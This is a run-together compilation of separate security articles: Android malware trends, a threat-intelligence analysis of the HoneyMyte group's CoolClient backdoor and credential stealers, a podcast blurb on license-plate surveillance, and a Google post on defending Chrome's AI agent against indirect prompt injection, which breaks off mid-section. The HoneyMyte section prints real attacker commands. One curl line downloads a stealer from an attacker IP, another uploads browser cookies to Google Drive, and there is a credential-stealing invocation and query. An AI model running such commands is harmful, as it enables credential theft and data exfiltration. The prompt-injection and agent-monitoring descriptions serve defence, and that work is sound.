The year 2025 saw a record-breaking number of attacks on Android devices. Scammers are currently riding a few major waves: the hype surrounding AI apps, the urge to bypass site blocks or age checks, the hunt for a bargain on a new smartphone, the ubiquity of mobile banking, and, of course, the popularity of NFC. Let’s break down the primary threats of 2025–2026, and figure out how to keep your Android device safe in this new landscape.

Sideloading

Malicious installation packages (APK files) have always been the Final Boss among Android threats, despite Google’s multi-year efforts to fortify the OS. By using sideloading — installing an app via an APK file instead of grabbing it from the official store — users can install pretty much anything, including straight-up malware. And neither the rollout of Google Play Protect, nor the various permission restrictions for shady apps have managed to put a dent in the scale of the problem.

According to preliminary data from Kaspersky for 2025, the number of detected Android threats grew almost by half. In the third quarter alone, detections jumped by 38% compared to the second. In certain niches, like Trojan bankers, the growth was even more aggressive. In Russia alone, the notorious Mamont banker attacked 36 times more users than it did the previous year, while globally this entire category saw a nearly fourfold increase.

Today, bad actors primarily distribute malware via messaging apps by sliding malicious files into DMs and group chats. The installation file usually sports an enticing name (think “party_pics.jpg.apk” or “clearance_sale_catalog.apk”), accompanied by a message “helpfully” explaining how to install the package while bypassing the OS restrictions and security warnings.

Once a new device is infected, the malware often spams itself to everyone in the victim’s contact list.

Search engine spam and email campaigns are also trending, luring users to sites that look exactly like an official app store. There, they’re prompted to download the “latest helpful app”, such as an AI assistant. In reality, instead of an installation from an official app store, the user ends up downloading an APK package. A prime example of these tactics is the ClayRat Android Trojan, which uses a mix of all these techniques to target Russian users. It spreads through groups and fake websites, blasts itself to the victim’s contacts via SMS, and then proceeds to steal the victim’s chat logs and call history; it even goes as far as snapping photos of the owner using the front-facing camera. In just three months, over 600 distinct ClayRat builds have surfaced.

The scale of the disaster is so massive that Google even announced an upcoming ban on distributing apps from unknown developers starting in 2026. However, after a couple of months of pushback from the dev community, the company pivoted to a softer approach: unsigned apps will likely only be installable via some kind of superuser mode. As a result, we can expect scammers to simply update their how-to guides with instructions on how to toggle that mode on.

Kaspersky for Android will help you protect yourself from counterfeit and trojanized APK files. Unfortunately, due to Google’s decision, our Android security apps are currently unavailable on Google Play. We’ve previously provided detailed information on how to install our Android apps with a 100% guarantee of authenticity.

NFC relay attacks

Once an Android device is compromised, hackers can skip the middleman to steal the victim’s money directly thanks to the massive popularity of mobile payments. In the third quarter of 2025 alone, over 44 000 of these attacks were detected in Russia alone — a 50% jump from the previous quarter.

There are two main scams currently in play: direct and reverse NFC exploits.

Direct NFC relay is when a scammer contacts the victim via a messaging app and convinces them to download an app — supposedly to “verify their identity” with their bank. If the victim bites and installs it, they’re asked to tap their physical bank card against the back of their phone and enter their PIN. And just like that the card data is handed over to the criminals, who can then drain the account or go on a shopping spree.

Reverse NFC relay is a more elaborate scheme. The scammer sends a malicious APK and convinces the victim to set this new app as their primary contactless payment method. The app generates an NFC signal that ATMs recognize as the scammer’s card. The victim is then talked into going to an ATM with their infected phone to deposit cash into a “secure account”. In reality, those funds go straight into the scammer’s pocket.

We break both of these methods down in detail in our post, NFC skimming attacks.

NFC is also being leveraged to cash out cards after their details have been siphoned off through phishing websites. In this scenario, attackers attempt to link the stolen card to a mobile wallet on their own smartphone — a scheme we covered extensively in NFC carders hide behind Apple Pay and Google Wallet.

The stir over VPNs

In many parts of the world, getting onto certain websites isn’t as simple as it used to be. Some sites are blocked by local internet regulators or ISPs via court orders; others require users to pass an age verification check by showing ID and personal info. In some cases, sites block users from specific countries entirely just to avoid the headache of complying with local laws. Users are constantly trying to bypass these restrictions —and they often end up paying for it with their data or cash.

Many popular tools for bypassing blocks — especially free ones — effectively spy on their users. A recent audit revealed that over 20 popular services with a combined total of more than 700 million downloads actively track user location. They also tend to use sketchy encryption at best, which essentially leaves all user data out in the open for third parties to intercept.

Moreover, according to Google data from November 2025, there was a sharp spike in cases where malicious apps are being disguised as legitimate VPN services to trick unsuspecting users.

The permissions that this category of apps actually requires are a perfect match for intercepting data and manipulating website traffic. It’s also much easier for scammers to convince a victim to grant administrative privileges to an app responsible for internet access than it is for, say, a game or a music player. We should expect this scheme to only grow in popularity.

Trojan in a box

Even cautious users can fall victim to an infection if they succumb to the urge to save some cash. Throughout 2025, cases were reported worldwide where devices were already carrying a Trojan the moment they were unboxed. Typically, these were either smartphones from obscure manufacturers or knock-offs of famous brands purchased on online marketplaces. But the threat wasn’t limited to just phones; TV boxes, tablets, smart TVs, and even digital photo frames were all found to be at risk.

It’s still not entirely clear whether the infection happens right on the factory floor or somewhere along the supply chain between the factory and the buyer’s doorstep, but the device is already infected before the first time it’s turned on. Usually, it’s a sophisticated piece of malware called Triada, first identified by Kaspersky analysts back in 2016. It’s capable of injecting itself into every running app to intercept information: stealing access tokens and passwords for popular messaging apps and social media, hijacking SMS messages (confirmation codes: ouch!), redirecting users to ad-heavy sites, and even running a proxy directly on the phone so attackers can browse the web using the victim’s identity.

Technically, the Trojan is embedded right into the smartphone’s firmware, and the only way to kill it is to reflash the device with a clean OS. Usually, once you dig into the system, you’ll find that the device has far less RAM or storage than advertised — meaning the firmware is literally lying to the owner to sell a cheap hardware config as something more premium.

Another common pre-installed menace is the BADBOX 2.0 botnet, which also pulls double duty as a proxy and an ad-fraud engine. This one specializes in TV boxes and similar hardware.

How to go on using Android without losing your mind

Despite the growing list of threats, you can still use your Android smartphone safely! You just have to stick to some strict mobile hygiene rules.

• Install a comprehensive security solution on all your smartphones. We recommend Kaspersky for Android to protect against malware and phishing.
• Avoid sideloading apps via APKs whenever you can use an app store instead. A known app store — even a smaller one — is always a better bet than a random APK from some random website. If you have no other choice, download APK files only from official company websites, and double-check the URL of the page you’re on. If you aren’t 100% sure what the official site is, don’t just rely on a search engine; check official business directories or at least Wikipedia to verify the correct address.
• Read OS warnings carefully during installation. Don’t grant permissions if the requested rights or actions seem illogical or excessive for the app you’re installing.
• Under no circumstances should you install apps from links or attachments in chats, emails, or similar communication channels.
• Never tap your physical bank card against your phone. There is absolutely no legitimate scenario where doing this would be for your own benefit.
• Do not enter your card’s PIN into any app on your phone. A PIN should only ever be requested by an ATM or a physical payment terminal.
• When choosing a VPN, stick to paid ones from reputable companies.
• Buy smartphones and other electronics from official retailers, and steer clear of brands you’ve never heard of. Remember: if a deal seems too good to be true, it almost certainly is.

Other major Android threats from 2025:

• Pixnapping vulnerability: unblockable screenshots of your Android phone
• Spyware that pretends to be an antivirus
• Data theft during smartphone charging
• SparkCat trojan stealer infiltrates App Store and Google Play, steals data from photos

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

Overview of CoolClient execution flow

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

This week on the Lock and Code podcast…

There’s an entire surveillance network popping up across the United States that has likely already captured your information, all for the non-suspicion of driving a car.

Automated License Plate Readers, or ALPRs, are AI-powered cameras that scan and store an image of every single vehicle that passes their view. They are mounted onto street lights, installed under bridges, disguised in water barrels, and affixed onto telephone poles, lampposts, parking signs, and even cop cars.

Once installed, these cameras capture a vehicle’s license plate number, along with its make, model, and color, and any identifying features, like a bumper sticker, or damage, or even sport trim options. Because nearly every ALPR camera has an associated location, these devices can reveal where a car was headed, and at what time, and by linking data from multiple ALPRs, it’s easy to determine a car’s daylong route and, by proxy, it’s owner’s daily routine.

This deeply sensitive information has been exposed in recent history.

In 2024, the US Cybersecurity and Information Security Agency discovered seven vulnerabilities in cameras made by Motorola Solutions, and at the start of 2025, the outlet Wired reported that more than 150 ALPR cameras were leaking their live streams.

But there’s another concern with ALPRs besides data security and potential vulnerability exploits, and that’s with what they store and how they’re accessed.

ALPRs are almost uniformly purchased and used by law enforcement. These devices have been used to help solve crime, but their databases can be accessed by police who do not live in your city, or county, or even state, and who do not need a warrant before making a search.

In fact, when police access the databases managed by one major ALPR manufacturer, named Flock, one of the few guardrails those police encounter is needing to type a single word in a basic text box. When Electronic Frontier Foundation analyzed 12 million searches made by police in Flock’s systems, they learned that police sometimes filled that text box with the word “protest,” meaning that police were potentially investigating activity that is protected by the First Amendment.

Today, on the Lock and Code podcast with host David Ruiz, we speak with Will Freeman, founder of the ALRP-tracking project DeFlock Me, about this growing tide of neighborhood surveillance and the flimsy protections afforded to everyday people.

“License plate readers are a hundred percent used to circumvent the Fourth Amendment because [police] don’t have to see a judge. They don’t have to find probable cause. According to the policies of most police departments, they don’t even have to have reasonable suspicion.”

Tune in today to listen to the full conversation.

Show notes and credits:

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)
Licensed under Creative Commons: By Attribution 4.0 License
http://creativecommons.org/licenses/by/4.0/
Outro Music: “Good God” by Wowa (unminus.com)

Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium Security for Lock and Code listeners.

Last week on Malwarebytes Labs:

• CISA warns ASUS Live Update backdoor is still exploitable, seven years on
• The ghosts of WhatsApp: How GhostPairing hijacks accounts
• Chrome extension slurps up AI chats after users installed it for privacy
• Two Chrome flaws could be triggered by simply browsing the web: Update now
• Inside a purchase order PDF phishing campaign
• SoundCloud, Pornhub, and 700Credit all reported data breaches, but the similarities end there
• Android mobile adware surges in second half of 2025
• Photo booth flaw exposes people’s private pictures online
• Google is discontinuing its dark web report: why it matters
• Pig butchering is the next “humanitarian global crisis” (Lock and Code S06E25)
• PayPal closes loophole that let scammers send real emails with fake purchase notices

On the ThreatDown blog:

• AI-orchestrated cyberattacks

Stay safe!

We don’t just report on threats—we help safeguard your entire digital identity

Cybersecurity risks should never spread beyond a headline. Protect your, and your family’s, personal information by using identity protection.

01flip is a new ransomware family fully written in Rust. Activity linked to 01flip points to alleged dark web data leaks.

The post 01flip: Multi-Platform Ransomware Written in Rust appeared first on Unit 42.

Chrome has been advancing the web’s security for well over 15 years, and we’re committed to meeting new challenges and opportunities with AI. Billions of people trust Chrome to keep them safe by default, and this is a responsibility we take seriously. Following the recent launch of Gemini in Chrome and the preview of agentic capabilities, we want to share our approach and some new innovations to improve the safety of agentic browsing.

The primary new threat facing all agentic browsers is indirect prompt injection. It can appear in malicious sites, third-party content in iframes, or from user-generated content like user reviews, and can cause the agent to take unwanted actions such as initiating financial transactions or exfiltrating sensitive data. Given this open challenge, we are investing in a layered defense that includes both deterministic and probabilistic defenses to make it difficult and costly for attackers to cause harm.

Designing safe agentic browsing for Chrome has involved deep collaboration of security experts across Google. We built on Gemini's existing protections and agent security principles and have implemented several new layers for Chrome.

We’re introducing a user alignment critic where the agent’s actions are vetted by a separate model that is isolated from untrusted content. We’re also extending Chrome’s origin-isolation capabilities to constrain what origins the agent can interact with, to just those that are relevant to the task. Our layered defense also includes user confirmations for critical steps, real-time detection of threats, and red-teaming and response. We’ll step through these layers below.

Checking agent outputs with User Alignment Critic

The main planning model for Gemini uses page content shared in Chrome to decide what action to take next. Exposure to untrusted web content means it is inherently vulnerable to indirect prompt injection. We use techniques like spotlighting that direct the model to strongly prefer following user and system instructions over what’s on the page, and we’ve upstreamed known attacks to train the Gemini model to avoid falling for them.

To further bolster model alignment beyond spotlighting, we’re introducing the User Alignment Critic — a separate model built with Gemini that acts as a high-trust system component. This architecture is inspired partially by the dual-LLM pattern as well as CaMeL research from Google DeepMind.

A flow chart that depicts the User Alignment Critic: a trusted component that vets each action before it reaches the browser.

The User Alignment Critic runs after the planning is complete to double-check each proposed action. Its primary focus is task alignment: determining whether the proposed action serves the user’s stated goal. If the action is misaligned, the Alignment Critic will veto it. This component is architected to see only metadata about the proposed action and not any unfiltered untrustworthy web content, thus ensuring it cannot be poisoned directly from the web. It has less context, but it also has a simpler job — just approve or reject an action.

This is a powerful, extra layer of defense against both goal-hijacking and data exfiltration within the action step. When an action is rejected, the Critic provides feedback to the planning model to re-formulate its plan, and the planner can return control to the user if there are repeated failures.

Enforcing stronger security boundaries with Origin Sets

Site Isolation and the same-origin policy are fundamental boundaries in Chrome’s security model and we’re carrying forward these concepts into the agentic world. By their nature, agents must operate across websites (e.g. collecting ingredients on one site and filling a shopping cart on another). But if an unrestricted agent is compromised and can interact with arbitrary sites, it can create what is effectively a Site Isolation bypass. That can have a severe impact when the agent operates on a local browser like Chrome, with logged-in sites vulnerable to data exfiltration. To address this, we’re extending those principles with Agent Origin Sets. Our design architecturally limits the agent to only access data from origins that are related to the task at hand, or data that the user has chosen to share with the agent. This prevents a compromised agent from acting arbitrarily on unrelated origins.

For each task on the web, a trustworthy gating function decides which origins proposed by the planner are relevant to the task. The design is to separate these into two sets, tracked for each session:

• Read-only origins are those from which Gemini is permitted to consume content. If an iframe’s origin isn’t on the list, the model will not see that content.
• Read-writable origins are those on which the agent is allowed to actuate (e.g., click, type) in addition to reading from.

This delineation enforces that only data from a limited set of origins is available to the agent, and this data can only be passed on to the writable origins. This bounds the threat vector of cross-origin data leaks. This also gives the browser the ability to enforce some of that separation, such as by not even sending to the model data that is outside the readable set. This reduces the model’s exposure to unnecessary cross-site data. Like the Alignment Critic, the gating functions that calculate these origin sets are not exposed to untrusted web content. The planner can also use context from pages the user explicitly shared in that session, but it cannot add new origins without the gating function’s approval. Outside of web origins, the planning model may ingest other non-web content such as from tool calls, so we also delineate those into read-vs-write calls and similarly check that those calls are appropriate for the task.

Iframes from origins that aren’t related to the user’s task are not shown to the model.

Page navigations can happen in several ways: If the planner decides to navigate to a new origin that isn’t yet in the readable set, that origin is checked for relevancy by a variant of the User Alignment critic before Chrome adds it and starts the navigation. And since model-generated URLs could exfiltrate private information, we have a deterministic check to restrict them to known, public URLs. If a page in Chrome navigates on its own to a new origin, it’ll get vetted by the same critic.

Getting the balance right on the first iteration is hard without seeing how users’ tasks interact with these guardrails. We’ve initially implemented a simpler version of origin gating that just tracks the read-writeable set. We will tune the gating functions and other aspects of this system to reduce unnecessary friction while improving security. We think this architecture will provide a powerful security primitive that can be audited and reasoned about within the client, as it provides guardrails against cross-origin sensitive data exfiltration and unwanted actions.

Transparency and control for sensitive actions

We designed the agentic capabilities in Chrome to give the user both transparency and control when they need it most. As the agent works in a tab, it details each step in a work log, allowing the user to observe the agent's actions as they happen. The user can pause to take over or stop a task at any time.

This transparency is paired with several layers of deterministic and model-based checks to trigger user confirmations before the agent takes an impactful action. These serve as guardrails against both model mistakes and adversarial input by putting the user in the loop at key moments.

First, the agent will require a user confirmation before it navigates to certain sensitive sites, such as those dealing with banking transactions or personal medical information. This is based on a deterministic check against a list of sensitive sites. Second, it’ll confirm before allowing Chrome to sign-in to a site via Google Password Manager – the model does not have direct access to stored passwords. Lastly, before any sensitive web actions like completing a purchase or payment, sending messages, or other consequential actions, the agent will try to pause and either get permission from the user before proceeding or ask the user to complete the next step. Like our other safety classifiers, we’re constantly working to improve the accuracy to catch edge cases and grey areas.

Illustrative example of when the agent gets to a payment page, it stops and asks the user to complete the final step.

Detecting “social engineering” of agents

In addition to the structural defenses of alignment checks, origin gating, and confirmations, we have several processes to detect and respond to threats. While the agent is active, it checks every page it sees for indirect prompt injection. This is in addition to Chrome’s real-time scanning with Safe Browsing and on-device AI that detect more traditional scams. This prompt-injection classifier runs in parallel to the planning model’s inference, and will prevent actions from being taken based on content that the classifier determined has intentionally targeted the model to do something unaligned with the user’s goal. While it cannot flag everything that might influence the model with malicious intent, it is a valuable layer in our defense-in-depth.

Continuous auditing, monitoring, response

